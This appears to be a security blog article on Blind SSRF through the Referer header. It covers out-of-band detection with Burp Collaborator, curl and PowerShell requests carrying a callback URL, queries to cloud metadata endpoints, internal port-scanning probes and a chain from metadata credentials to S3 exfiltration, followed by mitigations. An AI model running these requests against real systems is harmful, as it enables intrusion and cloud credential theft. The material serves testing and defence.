Listen to this Post
Introduction:
Server‑Side Request Forgery (SSRF) remains one of the most underestimated web application vulnerabilities, especially when it leaves no visible trace. Blind SSRF occurs when an application makes an HTTP request to an attacker‑controlled URL based on user input, but the response is never directly reflected to the client. Detecting such flaws requires shifting from in‑band observation to Out‑of‑Band (OOB) techniques, where the attacker listens for DNS or HTTP interactions on an external server. This article dissects a real‑world Blind SSRF discovered via the Referer header, provides actionable step‑by‑step testing methodologies, and arms you with commands to exploit and mitigate these hidden back‑channel requests.
Learning Objectives:
- Objective 1: Understand the mechanics of Blind SSRF and why traditional scanners miss it.
- Objective 2: Master Out‑of‑Band detection using Burp Collaborator and manual payload crafting.
- Objective 3: Learn to exploit Blind SSRF for internal reconnaissance, cloud metadata theft, and how to harden applications against it.
You Should Know:
1. Understanding Blind SSRF and Out‑of‑Band Detection
Blind SSRF is characterised by the server fetching a URL supplied by the client but never returning the fetched content. The only evidence of the vulnerability is a server‑side request that reaches an external system.
Step‑by‑step explanation:
- The application takes user‑controlled input (headers, parameters, file uploads) that influences a back‑end URL fetch.
- The request is sent, but the response is consumed internally (e.g., for analytics, thumbnail generation, PDF export).
- No data is shown to the attacker in the HTTP response.
- OOB detection leverages an external service (like Burp Collaborator, Interactsh, or a custom VPS) to capture the server’s attempt to connect.
- Setting Up Burp Collaborator for Blind SSRF Testing
Burp Collaborator is a built‑in OOB service that provides unique subdomains and captures DNS, HTTP, SMTP, and other interactions.
Step‑by‑step guide:
- Open Burp Suite Professional (or use the free Collaborator client from PortSwigger).
- Go to the Burp menu > Burp Collaborator client.
- Click “Copy to clipboard” – this generates a random subdomain (e.g.,
abcdef12345.burpcollaborator.net). - This subdomain will receive any DNS or HTTP requests made by the target server.
- For free/open‑source alternatives, use Interactsh (
interactsh.com) or self‑host a Collaborator server.
- Crafting Blind SSRF Payloads via the Referer Header
As shown in the original post, the Referer header is often overlooked but can be fully user‑controlled.
Step‑by‑step guide:
- Intercept a request using Burp Proxy (or any proxy tool).
- Locate the `Referer:` header.
- Replace its value with your Collaborator payload URL, e.g.:
`Referer: http://abcdef12345.burpcollaborator.net/` - Send the request and immediately check Collaborator for any incoming interactions.
- Linux cURL equivalent:
curl -H "Referer: http://abcdef12345.burpcollaborator.net/" https://victim.com/product?id=1
- Windows PowerShell:
Invoke-WebRequest -Uri "https://victim.com/product?id=1" -Headers @{Referer="http://abcdef12345.burpcollaborator.net/"} - If the server fetches the Referer URL, you will see DNS and HTTP lookups in the Collaborator poll results.
4. Analyzing Out‑of‑Band Interactions
Not every interaction confirms SSRF; you must verify that the request originated from the target’s infrastructure.
Step‑by‑step guide:
- In Burp Collaborator, click “Poll now” every few seconds.
- Look for entries showing the target’s public IP or internal hostname.
- Examine the User‑Agent – often reveals the backend library (e.g.,
Ruby,Python-urllib,Go-http-client). - If the server performed a DNS lookup but no HTTP, it may still indicate a Blind SSRF where only the hostname was resolved (e.g., for logging).
- Use `nslookup` or `dig` to simulate a callback:
dig +short abc12345.burpcollaborator.net
– this helps differentiate between external and internal resolvers.
5. Advanced Exploitation: Cloud Metadata and Internal Services
Once Blind SSRF is confirmed, pivot to internal network scanning and cloud metadata endpoints.
Linux commands to test common metadata IPs:
AWS metadata curl http://169.254.169.254/latest/meta-data/ GCP metadata curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/ Azure metadata curl http://169.254.169.254/metadata/instance?api-version=2017-08-01 -H "Metadata: true"
Windows PowerShell:
Invoke-RestMethod -Uri "http://169.254.169.254/latest/meta-data/" -Headers @{"Metadata"="true"}
– If the application allows you to control the full URL, replace the Collaborator payload with internal IPs (e.g., `http://192.168.1.1/admin`).
– Use URL encoding or redirect tricks to bypass weak filters.
– For port scanning: try `http://127.0.0.1:8080`, `http://localhost:22`, and observe response times or errors.
6. Mitigation Strategies for Blind SSRF
Preventing Blind SSRF requires defense in depth, not just blacklisting.
Step‑by‑step hardening:
- Allowlist validation: Only permit requests to trusted domains/IPs.
Example Python Flask – disallow everything except internal API allowed_domains = ['api.internal.example.com'] if urlparse(user_url).hostname not in allowed_domains: return abort(400)
- Network segmentation: Block egress traffic to non‑essential ports and IP ranges.
Linux iptables rule to block outbound to metadata IP:iptables -A OUTPUT -d 169.254.169.254 -j DROP
Windows netsh rule:
netsh advfirewall firewall add rule name="Block Metadata" dir=out remoteip=169.254.169.254 action=block
– Disable unnecessary URL‑fetching features or use a dedicated, restricted HTTP client that does not follow redirects.
– Authenticate internal services (e.g., require API keys even on localhost).
– Use response timeout and limit to avoid slow‑loris style attacks.
7. Chaining Blind SSRF for Deeper Impact
Blind SSRF is rarely a standalone critical finding; its real power lies in chaining.
– Port scanning internal networks – time‑based detection can reveal live hosts.
– Accessing internal dashboards – if the application fetches a URL and returns its content in an error message or logs (turning blind into reflected).
– Leveraging cloud metadata to obtain IAM credentials, then pivoting to cloud account takeover.
– Combining with CRLF injection in the Referer header to control additional request headers.
– Example chain:
1. Blind SSRF → fetch AWS metadata → obtain temporary credentials.
2. Use those credentials with AWS CLI to list S3 buckets.
3. Exfiltrate sensitive data.
Mitigation here relies on applying IAM roles with minimal permissions and enforcing network policies.
What Undercode Say:
- Key Takeaway 1: Blind SSRF cannot be detected by observing HTTP responses alone; every application that makes outbound requests based on user input must be tested with Out‑of‑Band techniques.
- Key Takeaway 2: The Referer header is a frequently ignored attack surface—analytics, tracking, and logging features are prime candidates for Blind SSRF.
- Analysis: Modern cloud architectures amplify the impact of SSRF because metadata endpoints and internal load balancers are exposed via link‑local IPs. The shift to microservices also increases the number of internal HTTP endpoints an attacker can reach. Despite this, many developers still trust user‑supplied URLs without proper validation. Automated scanners often miss blind cases, making manual OOB testing a non‑negotiable skill for penetration testers. Organisations should treat Blind SSRF with the same severity as remote code execution when cloud metadata is reachable.
Prediction:
As AI‑driven coding assistants become prevalent, we will see a rise in SSRF bugs because these models are trained on code that historically mishandles user‑controlled URLs. Meanwhile, defenders will increasingly rely on eBPF and sidecar proxies to enforce per‑service egress allowlists dynamically. Attackers, in turn, will shift to protocol smuggling (e.g., using gopher://, dict://) to bypass simple scheme filters. The next wave of SSRF exploitation will likely target container orchestration APIs (Kubernetes kubelet) and serverless environments where metadata services are just a request away. Staying ahead demands that both red and blue teams master OOB detection and embed SSRF testing into every CI/CD pipeline.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Aditya Malode – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
